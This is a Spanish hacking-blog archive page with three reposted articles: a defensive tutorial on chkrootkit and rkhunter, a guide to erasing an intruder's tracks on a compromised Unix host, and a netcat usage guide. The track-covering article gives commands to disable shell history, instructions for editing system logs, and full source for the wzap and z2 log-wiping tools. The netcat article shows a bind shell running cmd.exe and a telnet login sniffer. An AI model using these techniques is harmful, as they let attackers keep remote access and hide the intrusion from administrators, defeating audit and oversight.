Archivo

Archivo para la Categoría "Hacking"

VERIFICAR LINUX CONTRA ROOTKITS CON RKHUNTER Y CHKROOTKIT

18 enero 2010 Deja un comentario

autor: sergio.gonzalez.duran@gmail.com

De acuerdo a la definición en wikipedia un rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, llaves de registro, y puertos que permiten al intruso mantener el acceso a un sistema para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos.

De hecho que un hacker (black hat) te instale un root kit en tu equipo Linux es la máxima intrusión a la que estarías expuesto. Recuerda que en GNU/Linux el peligro no son virus como en el mundo Windows sino las vulnerabilidades que se descubren a diario en los muy distintos programas que usa el sistema. Por eso la importancia de verificar y actualizar lo más continuo posible el sistema en su totalidad.

En este artículo de LinuxTotal.com.mx te presento dos utilerías que te permitirán verificar tu equipo por posibles cambios en los archivos y programas más comunes, ya que ha menudo los rootkits se disfrazan como programas de uso muy comun como ls o ps, incluso conservan la misma funcionalidad (que es el objetivo, que el usuario no se entere que ya ha sido hackeado con un rootkit) pero a la vez de manera furtiva realizan su trabajo de ejecutar comandos remotos, abrir puertos, realizar ataques DoS, instalar servidores Web ocultos, utilizar ancho de banda para transferencia de archivos, monitorear con keylogers, etc., etc.

chkrootkit

chkrootkit muy popular checador de rootkits, verifica localmente por señales de estos. Es una buena opción para equipos Desktop, laptops, incluso para servidores como un complemento más de este tipo de programas.

Después de que lo descargues hay que compilarlo: (como root)

#> wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
#> tar xvzf chkrootkit.tar.gz
#> cd chkrootkit     (o el directorio donde se haya descomprimido)
#> make sense        (se compilan los fuentes en C)

Con lo anterior debes de tener ahora en el mismo directorio un binario llamado chkrootkit, se ejecuta sin argumentos de la siguiente manera:

#> ./chkrootkit 
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
...  
(varias líneas más de verificación de archivos, directorios y procesos)

Es posible ver la lista de pruebas que chkrootkit puede realizar mediante la opción -l y ejecutar solo una o varias a la vez:

#>./chkrootkit -l
./chkrootkit: tests: aliens asp bindshell lkm rexedcs sniffer w55808 
wted scalper slapper z2 chkutmp amd basename biff chfn chsh cron crontab 
date du dirname echo egrep env find fingerd gpm grep hdparm su ifconfig 
inetd inetdconf identd init killall  ldsopreload login ls lsof mail 
mingetty netstat named passwd pidof pop2 pop3 ps pstree rpcinfo rlogind 
rshd slogin sendmail sshd syslogd tar tcpd tcpdump top telnetd timed 
traceroute vdir w write
#> ./chkrootkit tar top         (verificamos solos dos pruebas)
ROOTDIR is `/'
Checking `tar'... not infected
Checking `top'... not infected

chkrootkit no tiene opción (al menos hasta la versión 0.48) para enviar a archivo el resultado del escaneo realizado, pero se resulve con direccionamiento:

#> ./chkrootkit >  chkrootkit20080414.txt

Puedes hacer un script donde se agregue la fecha automáticamente (ver Comando date, sus usos y respaldo de archivos) y a través de una entrada de cron ejecutarlo diariamente. Revisar y/o comparar esttos archivos diariamente te ayudarán a detectar cambios en tu sistema.

rkhunter

rkhunter en mi opinión, es un checador de rootkits mucho más completo y potente que chkrootkit, es ideal para ser usado en servidores. En su página de descarga sostiene (a modo de broma) que verifica en eun 99.9% que estás libre de indeseables rootkits, es decir, realmente se trata de una capa más de seguridad. rkhunter verifica el sistema por:

  • Comparación de hashes MD5
  • Busca por archivos comunes usados por rootkits
  • Permisos equivocados para binarios
  • Busca por cadenas de texto sospechosoas en módulos LKM (Loadable Kernel Modules) y KLD (Kernel Loadable Device)
  • Busca por archivos ocultos
  • Opciones de escaneo dentro de archivos binarios y planos

Después de descargar el tar.gz lo instalamos:

#> tar xvzf rkhunter-1.3.2.tar.gz
#> cd rkhunter                       (o el directorio donde se haya descomprimido)
#> ./installer.sh --layout default --show
PREFIX:             /usr/local
Application:        /usr/local/bin
Configuration file: /etc
Documents:          /usr/local/share/doc/rkhunter-1.3.2
Man page:           /usr/local/share/man/man8
Scripts:            /usr/local/lib/rkhunter/scripts
Databases:          /var/lib/rkhunter/db
Temporary files:    /var/lib/rkhunter/tmp

(lo que hice aqui fue mostrar previó a la instalación, 
donde quedarían la aplicación y demás con una instalación 'default')
(usa ./installer.sh para ver las opciones de la instalación)

(ahora si realizo la instalación)
#> ./installer.sh --layout default --install

Una vez instalado, la manera más básica de ejecutar rkhunter es asi:

#> rkhunter -c
[ Rootkit Hunter version 1.3.2 ]

Checking system commands...

  Performing 'strings' command checks
    Checking 'strings' command                               [ OK ]

  Performing 'shared libraries' checks
    Checking for preloading variables                        [ None found ]
    Checking for preload file                                [ Not found ]
    Checking LD_LIBRARY_PATH variable                        [ Not found ]

  Performing file properties checks
    Checking for prerequisites                               [ OK ]
    /bin/awk                                                 [ OK ]
    /bin/basename                                            [ OK ]
    /bin/bash                                                [ OK ]
    /bin/cat                                                 [ OK ]
    /bin/chmod                                               [ OK ]
    /bin/chown                                               [ OK ]
    /bin/cp                                                  [ OK ]
    /bin/csh                                                 [ OK ]
    /bin/cut                                                 [ OK ]
    /bin/date                                                [ OK ]
    /bin/df                                                  [ OK ]
  ....
  (varias líneas más)

rkhunter con la opción -c realiza un escaneo muy completo del sistema, no es posible apreciarlo aqui, pero en cada sección del escaneo la salida se interrumpe como para poder analizarlo, y hasta que no se presiones ‘Enter’ continua. Puedes deshacerte de este comportamiento interactivo con la opción –sk, por cierto, la lista de opciones o ayuda, la obtienes invocando rkhunter sin ningún argumento.

Si hubiera algo que reportar, el archivo /var/log/rkhunter.log, pero puedes cambiar la salida del archivo a otro que tu desees:

#> rkhunter -c --sk --logfile /root/rkhunter20080414.txt

Lo anterior enviará toda la salida al archivo indicado y sin hacer pausas para continuar. También es posible realizar pruebas personalizadas y no todas a la vez.

#> rkhunter --list   (lista de pruebas posibles)
Available test names:
    additional_rkts all apps attributes deleted_files filesystem
    group_accounts group_changes hashes hidden_procs immutable known_rkts
    local_host malware network none os_specific other_malware
    packet_cap_apps passwd_changes ports possible_rkt_files possible_rkts possible_rkt_strings
    promisc properties rootkits running_procs scripts shared_libs
    shared_libs_path startup_files startup_malware strings suspscan system_commands
    system_configs trojans

Grouped test names:
    additional_rkts => possible_rkt_files possible_rkt_strings
    group_accounts  => group_changes passwd_changes
    local_host      => filesystem group_changes passwd_changes startup_malware system_configs
    malware         => deleted_files hidden_procs other_malware running_procs suspscan
	...
(varias líneas más)

#> rkhunter --enable hidden_procs,system_commands   
(se ejecutan solo las pruebas deseadas)

#> rkhunter --disable system_commands   (lo contrario, se 
ejecutan todas las pruebas menos 
la indicada(s))

Como ya se mencionó previamente, es conveniente que se ejecute periódicamente a través de un cron y con un control por fechas de los reportes que se generan, asi se teendrá una bitacora muy completa de cuando pudieron ocurrir cambios en el sistema.

También, recuerda que estos anti-rootkits son solo una medida de seguridad más para la protección de tu sistema, hay que actualizar continuamente, apagar los servicios que no se usen, configurar adecuadamente ssh, apache, servidores de correo, etc.

Fuente: http://www.linuxtotal.com.mx/index.php?cont=info_seyre_011

Categorías:Hacking, Linux, Seguridad Etiquetas: , ,

Borrando tus Huellas en un Sistema Unix

27 diciembre 2009 Deja un comentario

Creado por oJ3Nok

01/01/03  —— www. ic3t3am.tk ——

Contenidos del Articulo

1 – Introducción / Que necesito

2 – Logs /  Descripción / Ubicación

3 – TCP-Wrapper

4 – Comandos Importantes y su Fin

5 – Programas

6 – Manos a la Obra

7 – Fuentes de Programas

1 -  Introducción
————

¿ Por que debería borrar mis huellas ?

Esta es la respuesta más fácil … Para que al administrador victima del ataque tenga trabajar más para poder desenmascararte, y en la mejor de las situaciones no se entere que estuvimos por ahi

¿ Que necesito saber o tener para seguir leyendo ?

- Un sistema UNIX, de preferencia Linux .

- Conocimientos de intruciones y conseguir acceso root.

- Conocimientos acerca de los comandos básicos en Unix- Saber de ética Hacker

- Manejar Editores de texto como vi, emacs o pico.

2 – Logs
—-

¿ que son estos ?

Estos son presisamente los archivos que se encargan de registrar todo lo que hacemos dentro de una maquina ( la compu ), ya sea el usuario de menor  rango hasta el root.

¿ donde estan los logs ?

Cada programa, generalmente, utiliza al demonio syslogd para generar el registro de que es lo que se hizo .. y se guardan ( creo que asi lo definiré ) en el archivo /etc/syslog.conf

Veamos como sera la visualización de este archivo :

[oJ3Nok@ic3 Log]$ cat /etc/syslog.conf

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console

# Log anything (except mail) of level info or higher.
# Don’t log private authentication messages!
*.info;mail.none;authpriv.none;cron.none /var/log/messages

# The authpriv file has restricted access.
authpriv.* /var/log/secure

# Log all the mail messages in one place.
mail.* /var/log/maillog

# Log cron stuff
cron.* /var/log/cron

# Everybody gets emergency messages
*.emerg *

# Save news errors of level crit and higher in a special file.
uucp,news.crit /var/log/spooler

# Save boot messages also to boot.log
local7.* /var/log/boot.log

[oJ3Nok@ic3b0X Log]$

Aqui Podemos ver Siete Lugares en los cuales se encuentran Logs .

/dev/console –> Sin importancia

/var/log/messages :

Contiene un tipo de información miscelanea , según se le haya asignado
en /etc/syslog.conf

/var/log/secure
:

Aqui se almacenan todos los eventos de seguridad,  conexiones realizadas al equipo, cambios de usuario (su, etc….). Buscar conexiones a servicios poco frecuentes, direcciones IP de conexión poco frecuentes y todo lo que se sale de lo habitual.

/var/log/maillog

/var/log/spooler

/var/log/boot.log

Otro que no está en ( mi ) syslog.conf IMPORTANTE :

xferlog

Empleado por algunos servidores de ftp para registrar las transferencias de ficheros ficheros del servidor WWW: En los casos en los que el atacante ha realizado primero un escaneo de vulnerabilidades en el servidor WWW aparecen intentos de conexión a cgi que no están instalados.

wtmp y wtmpx :

Información sobre los accesos con éxito al equipo, usuario que se conecta, protocolo que emplea, maquina origen de la conexión, etc. Aqui se encuentra la información sobre los accesos con exito al equipo, esto registra el usuario que se ha conectado, la maquina de origen ( aunque no sea la de nosotros no debemos dejarlo pasar ) , etc …

Si quieres verlo puedes hacerlo asi :

[oJ3Nok@ic3b0X Log]$ who /var/log/wtmp
[oJ3Nok@ic3b0X Log]$ who ./wtmp

–> wtmp : Este, guarda las IPs con las que se ha accedido, es importante dejarlo limpio, lo podrás encontrar en /var/log/wtmp o /var/adm/wtmp

Más adelante del artículo, daré algunos programas que se encargaran de hacer el trabajo por nosotros ( para ficheros binarios ) . Su forma de utilización y fuentes de estos .

utmp y utmpx :
————

Información sobre los usuarios que están conectados en un momento dado en un equipo, es un fichero binario, aunque se puede emplear el comando who para analizarlos.

–> utmp : Aqui, se guardan todos los accesos al sistema, por los usuarios y
se encuentra en /etc/utmp o en /var/adm/utmp

Lastlog :
——-

Este fichero guarda la hora de el último acceso del usuario y se encuentra
ubicado en /var/adm/lastlog

Acct  :
—-

Aqui se registran los comandos usados por los usuarios, se encuentra
ubicado en /var/adm/acct

El fichero ~/.bash_history :
————————–

Registra todo lo que haces .. ( luego entramos en detalles ).

—————————————————————————–
| Como se pueden dar cuenta casi todos los registros se encuentran en /var/log|
| pero también en algunos sistemas estan en /var/adm |
—————————————————————————–

Consejo :

En este mismo momento revisen el Directorio /var/log o /var/adm , para que se vayan dando cuenta de los ficheros que se encuentran ahí .. revisen los ficheros que ahí aparecen.

3 – TCP-Wrapper
———–

El TCP-WRAPPER es una herramienta parecida al Syslog, pero vinculada a servicios exclusivos del internet daemon (ftp, telnet, mail…). Además de registrar toda actividad referente a la autentificación de cualquiera de estos servicios es capaz de filtrarlos, restringiéndolos de manera que sólo ciertos usuarios puedan conectarse, por ejemplo a través de un firewall.

Para borrar nuestras huellas del TCP-WRAPPER tenemos que seguir el mismo proceso que con el Syslog (buscar el fichero de configuración, modificar los ficheros vinculados…).

4 – Comandos Importantes y su fin
—————————–

” unset “
———

Este comando se utiliza de la siguiente manera y sirve para detener el registro del  historial del shell :

[victima@localhost home]# unset HISTFILE; unset SAVEHIST
[victima@localhost home]#

” ln -s /dev/null ~/.bash_history “
——————————–

Este comando se utiliza para enlazar ~/.bash_history a /dev/null , con lo que se evitaran tener que editar el ~/.bash_history . Luego de enlazarlo , recuerden borrar el ~/.bash_history

[victima@localhost home]# ln -s /dev/null ~/.bash_history
[victima@localhost home]# ls -l .bash_history
1rwxrwxrwx 1 root root 22 Jul 26 22:59 .bash_history ---> /dev/null

” touch “
—–

Este comando es utilizado para reestablecer la fecha y la hora del último acceso a un archivo

5 – Programas
———

wzap : Zapper, que se encarga de borrar a un usuario especifico dentro del registro wtmp.

zap2 : Zapper, por exelencia, borra el wtmp, utmp y el lastlog .. Cuando copies la fuente, fijate el sistema que quieres atacar, pues recuerda que los logs, se encuentran en diferentes directorios ..

un ejemplo de la linea de código a modificar :

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

6 – Manos a la Obra
—————

Ahora asumiremos que ya estamos en la maquina ¿? que hago ahora .. pues aplicar todo lo que leiste … veamos

Lo Primero es visualizar el archivo :

[victima@localhost log]# cat /etc/syslog.conf

Y determinar en que Directorios se encuentran los Logs ..

Nota :

La fuente de los programas mencionados,se encuentra más adelante, en la seccion ” fuentes ” .

[victima@localhost log]# who ./wtmp  ( estamos en /var/log )
axe      ftpd17264 Dec  31 12:53 ( 172.32.67.2 )
root     tty1      Jan  1  13:4
root     tty1      Jan  1  13:466
root     tty1      Jan  1  13:47
root     tty1      Jan  1  13:48
root     tty1      Jan  1  13:49
root     tty1      Jan  1  13:50
axe      ftp841    Jan  1  12:53 ( 172.32.67.3 )
axe      ftpd3137  Jan  1  12:53 ( 172.32.67.3 )
axe      ftpd83    Jan  1  12:53 ( 172.32.67.3 )

[victima@localhost log]# gcc wzap.c -o wzap

[victima@localhost log]# ./wzap
Enter username to zap from the wtmp : axe        //  le decimos que borre las entradas
opening file…                                      del usuraio ” axe “
opening output file…
working…

[victima@localhost log]# who ./wtmp.out         // La entrada de ” axe ” no está en el
root     tty1      Jan  1  13:4                   archivo wtmp.out
root     tty1      Jan  1  13:466
root     tty1      Jan  1  13:47
root     tty1      Jan  1  13:48
root     tty1      Jan  1  13:49
root     tty1      Jan  1  13:50

[victima@localhost log]# cp wtmp.out wtmp
cp: overwrite `wtmp’? y
[root@localhost log]#                             // Borramos nuestra entrada al Sistema :)

Ahora con los editores ( pico, vi o emacs ), debemos ” editar ” el contenido de :

[victima@localhost log]# pico /var/log/messages

Aqui te aparecerán entradas y salidas de usuarios .. deberías borrar una o dos ..
( dependiendo de lo que te salga ) :

ene  1 14:00:07 localhost su(pam_unix)[9414]: session opened for user root by axe(uid=501)

En este caso solo debemos borrarla y guardar el archivo …

[root@localhost log]# pico /var/log/secure

Y si entraste por ftp debes editar también el contendi de xferlog

etc .. etc ..

Los más importantes que deberías haber editar son :

- wtmp –> se borra la entrada de un usuario con ” wzap “
- messages –> se edita con algún editor
- secure –> se edita con algún editor
- xferlog –> se edita con algún editor / entradas por ftp

Ahora debemos eliminar todo lo que presionamos …

estos los puedes editar con un :

[root@localhost log]# pico ~/.bash_history

El inconveniente de esto, es que quedará registrada nuestra salida .. :(

Pero no te preocupes … hay otras maneras de  hacerlo :

[root@localhost log]# unset HISTFILE; unset SAVEHIST     // Desactivar Historial

——————–

[root@localhost log]# ln -s /dev/null ~/.bash_history   // Lo vinculamos a /dev/null

Cosa que no queden registros de nada —

Ahora recuerda borrar el ~/.bash_history

Con esto deberían quedar los registros más frecuentes, limpios — pero siempre recuerda que ningún sistema esta configurado igual … perfectamenete , puede tener el TCP-Wrapper , por lo que nos demoraremos un poco más en borrar nuestras huellas …

Otra cosa importante es que no empieces a hacer estupideces en el sistema victima, me refiero a borrar y modificar archivos que no sean de logs ni alguno que nos sirva de entrada en una proxima ocación.

7 – Fuentes de Zappers ..
——————

| wzap.c |


/*  Dave's neato wtmp program
*      wzap.c
*      NOTE:   reads 'wtmp' from current directory and writes
*                      'wtmp.out' in cuurent directory...
*/

#include        <utmp.h>
#include        <stdio.h>
#include        <time.h>
#include        <sys/time.h>

FILE *Wfile, *Wout;

struct utmp myutmp;

main(argc,argv)
int argc;
char *argv[];
{
char username[20];
char yesorno[5];
long thetime, posi;

if (argc<2) {
printf(“\n\n”);
printf(“Enter username to zap from the wtmp: “);
scanf(“%s”,username);
} else strcpy(username,argv[1]);

printf(“\nopening file…\n”);
if ((Wfile = fopen(“wtmp”,”r”))==NULL)
{ printf(“no open file\n”); exit(0); }
printf(“\opening output file…\n”);
if ((Wout = fopen(“wtmp.out”,”wr”))==NULL)
{ printf(“no open output file…\n”); exit(0); }

printf(“working…\n”);
while(!feof(Wfile)) {
fread(&myutmp,sizeof(myutmp),1,Wfile);
if (strncmp(myutmp.ut_name,username,8))
fwrite(&myutmp,sizeof(myutmp),1,Wout);
}
fclose(Wfile);
fclose(Wout);
}

|  Zap2 – z2 .c  |


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf(“%s: ?\n”,who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf(“Zap2!\n”);
} else
printf(“Error.\n”);
}

| oJ3Nok |  www.ic3t3am.tk

Categorías:Hacking, Linux, Unix Etiquetas: , ,

Netcat – Gran Utilidad de Administradores y Hackers

26 diciembre 2009 Deja un comentario

==========================================
Netcat.
Sacandole Provecho a una exelente Utilidad.
por: Kliber.
kliber@hven.com.ve
Hackers Venezuela
==========================================

Netcat es un pequeño programa creado para uso de los administradores de redes (y por supuesto para los Hackers) :) , este proggie fue creado originalmente por Hobbit y porteado a Win95 y NT por Weld Pond de L0pht , tiene mas de un año desde que fue Liberado y muy poco se ha escrito sobre este Programita; Principalmente porque la estructura de sus comandos es poco familiar para el usuario medio. Netcat tiene infinidad de funciones, aunque se deja que sea el usuario quien las averigue :P , y en el archivo de ayuda ponen algunos ejemplitos muy elementales solamente.

La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la máquina de windows, cierto poder sobre este protocolo que solo tenía UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre TCP/IP. El comando principal es nc con su respectiva variable u opción al mas puro estilio Unix.

Cabe destacar que la información sobre Netcat y sus usos especificos es bastante limitada; aunque Hobbit en su documento aclara muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado para mas de 1001 vainas…

Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat

Netcat en WinX
==============

Este es el resultado de el comando de ayuda de netcat en una máquina windows

c:>nc -h

connect to somewhere: nc [-options] hostname port [ports]
listen for inbound: nc -l -p port [options] [hostname] [port]
options:

-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Bien; un analisis rápido de estas variables nos da una idea del potencial de este pequeño programa y las infinitas posibilidades que nos ofrece el poder manejar conexiones de una manera tan básica y sencilla:

<—— Opciones de Netcat ———>

-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo trabajar en el BackGround.

-e (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto en WinX como en *NIX.

-l (Escuchando conexiones)
Deja a un puerto abierto en espera de una conexión

-L (lo mismo que anteriormente pero sigue escuchando aún cuando la conexión es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y es muy util para seguir escuchando en el puerto, a diferencia de -l (que la conexión cerrada termina con el proceso de nc) esta opción -L permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).

-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la facultad de resolver nombres de dominio mediante un DNS Lookup, con esta opción le especificamos que no lo haga, y use solamente direcciones IP.

-o (obtiene un archivo log en Hex de la acción) Genera un Log de las actividades de netcat en código Hexadecimal.

-p (Puerto para pegarse) Algunas veces debes especificarle con esta opción el puerto a realizar una acción.

-s (pegarse a un IP especifico) Netcat puede utilizar IP de una red como fuente local.

-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas a netcat que debe realizar negociaciones telnet.

-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que trabaje con protocolo UDP en vez de TCP.

-v (modo verbose, mas información, se le puede añadir otra -v para mas info todavia) Bastante util y necesario, sobre todo para estudiar demonios en profundidad y observar todos los detalles en un Sniffing.

-w (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conexiones.

-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar patrones lógicos de Scanning.

-g (especificar Gateways) Una de las opciones más interesantes de netcat, permite utilizar Routers como “puentes” de conexión.

-G (Especificar puntos de Routing), Con esta opción podemos crear una cadena aleatoria de hosts para crear un ruta perdida para tus paquetes (Spoofing).

-i Especifica un intervalo de segundos entre puertos Scaneados.

<————- Fin de las opciones comentadas ——>

Netcat en Linux
===============

Netcat en una plataforma como Linux se convierte en una utilidad muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell de Linux mediante Shell Scripts.

Cabe destacar que distribuciones como RedHat Linux trae junto con sus paquetes de instalación una versión limitada de netcat; lo mas recomendable es bajar de la red la versión full de netcat para Linux (Importante: La versión de netcat para linux viene a prueba de lamers, por lo cual debemos compilar a netcat con unos flags especiales para poder obtener las opciones.

-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo desempaquetas en el directorio de tu preferencia, te ubicas dentro del directorio de netcat y lo compilas con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=” -DTELNET -DGAPING_SECURITY_HOLE”

Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar netcat directamente llamandolo de cualquier parte del Shell, ademas de que podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat trae unos scripts muy interesantes y bien comentados para que los estudies y comprendas mejor su implementación en scripts, los scripts están en el
directorio donde desempaquetastes netcat en /scripts , los corres como siempre: ./probe (o el script que quieras).

Utilizando Netcat.
==================

Para ilustrar mejor como trabajamos con este programa, lo mejor es observar ejemplos prácticos y analizar su estructura para poder comprender mejor como funciona y así poder crear nuestras propias aplicaciones.

Algunas de las cosas que podemos hacer con NetCat son:

Obtener un Shell rapidamente en una máquina remota usando la opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el proggie corre con estas variables y la conexión es realizada, NetCat ejecuta el programa elegido y se conecta a stdin y stdout del programa en la conexión a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejará a NetCat escuchando el Puerto 23 (telnet), cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe) la opción -t le dice a NetCat que maneje cualquier negociación que el cliente pueda esperar….

Si esta conexión es realizada desde una máquina NT, el shell correrá los permisos del proceso que han generado a NetCat (Hmmm…) así que hay que ser muy cuidadosos :)

La belleza de NetCat es que puede hacer lo mismo en CUALQUIER puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que están probablemente corriendo en la mayoría de las máquinas NT, de esta manera puedes lograr una conexión a una máquina que esté utilizando “Filtrado de Puertos” activado en TCP/IP security Network Control Panel, NT no parece tener ninguna seguridad alrededor de cuales puertos los programas de usuarios son permitidos amarrar, esto quiere decir en pocas palabras, ejecutar comandos y programas que puedan unirse a los Puertos NETBIOS.

Como anteriormente se mencionó, puedes utilizar a Netcat para estudiar diferentes puertos, con la siguiente sintaxis:

c:\>nc -v (puedes añadir otra -v)

Uno de los puertos mas interesantes a la Hora de Analizar un Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e información muy util a la hora de planear un “Brute-Force Attack”, este comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion, dandote una idea de sus posibilidades:

c:\>nc -v 79 <> log.txt

El comando anterior le dice a netcat que se conecte en modo verbose al Host predeterminado en el puerto 79 (Finger) y envie el contenido del archivo user.txt (OJO: no he probado esto con una posible lista de nombre de usuarios al azahar), la respuesta del servicio será guardada en el archivo log.txt

Scanner:
========

Netcat puede ser utilizado como scanner, sus multiples opciones le permiten realizar un gran número de combinaciones, pudiendo realizar Scannings en Puertos Random, en puertos conocidos, en modo ascendente o descendente, con intervalos de tiempo, utilizando gateways para evitar mostrar la IP fuente del Scanning, etc.

C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

Pues si; aqui tienen un pequeño y primitivo scanner, se le pueden añadir puertos escogidos como en el ejemplo anterior o asignarle un rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch:
localhost != darkstar localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc…

Volvemos con la opción -v (verbose) y la Opción -z (zero i/o) que es usada para scanning, los puertos se lo especificamos al final del IP del host, bien sea individuales separados por un espacio; o por un rango de puertos.

Sniffer:
========

Otra de las interesante posibilidades de netcat es su capacidad para escuchar conexiones en cualquier puerto, pudiendo redireccionar todo el tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 …
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui… Muuuaaahahahahahah!!! B-]

Tambien podemos redireccionar toda la salida a un archivo e irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 …

[Aqui viene la conneción...]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connección se va al archivo login.txt]
sent 0, rcvd 42

[La opción -L permite que netcat escuche nuevamente al terminar la conexión,
"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 …

El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
———————

Ejecutamos a Netcat con la opción o variable -v (verbose) (doblemente “verbose” por si acaso) ;) esto hará que el resultado de netcat, sea mostrado directamente en pantalla (a diferencia del archivo usado por Dr._X) , la opción o variable -L (Listen, and listen again) nos permitirá dejar escuchando u “oliendo” en determinado puerto aun cuando la conexión sea interrumpida (listen again), con la variable -p le indicamos el puerto…

Al ejecutar a netcat con esa combinación de variables las opción -v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 …

Realizo desde otra ventana un telnet a localhost (127.0.0.1) en el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado

Voilá! un Sniffer en LocalHost! Jajaja!!!

Detector de Conneciones Sospechosas:
====================================

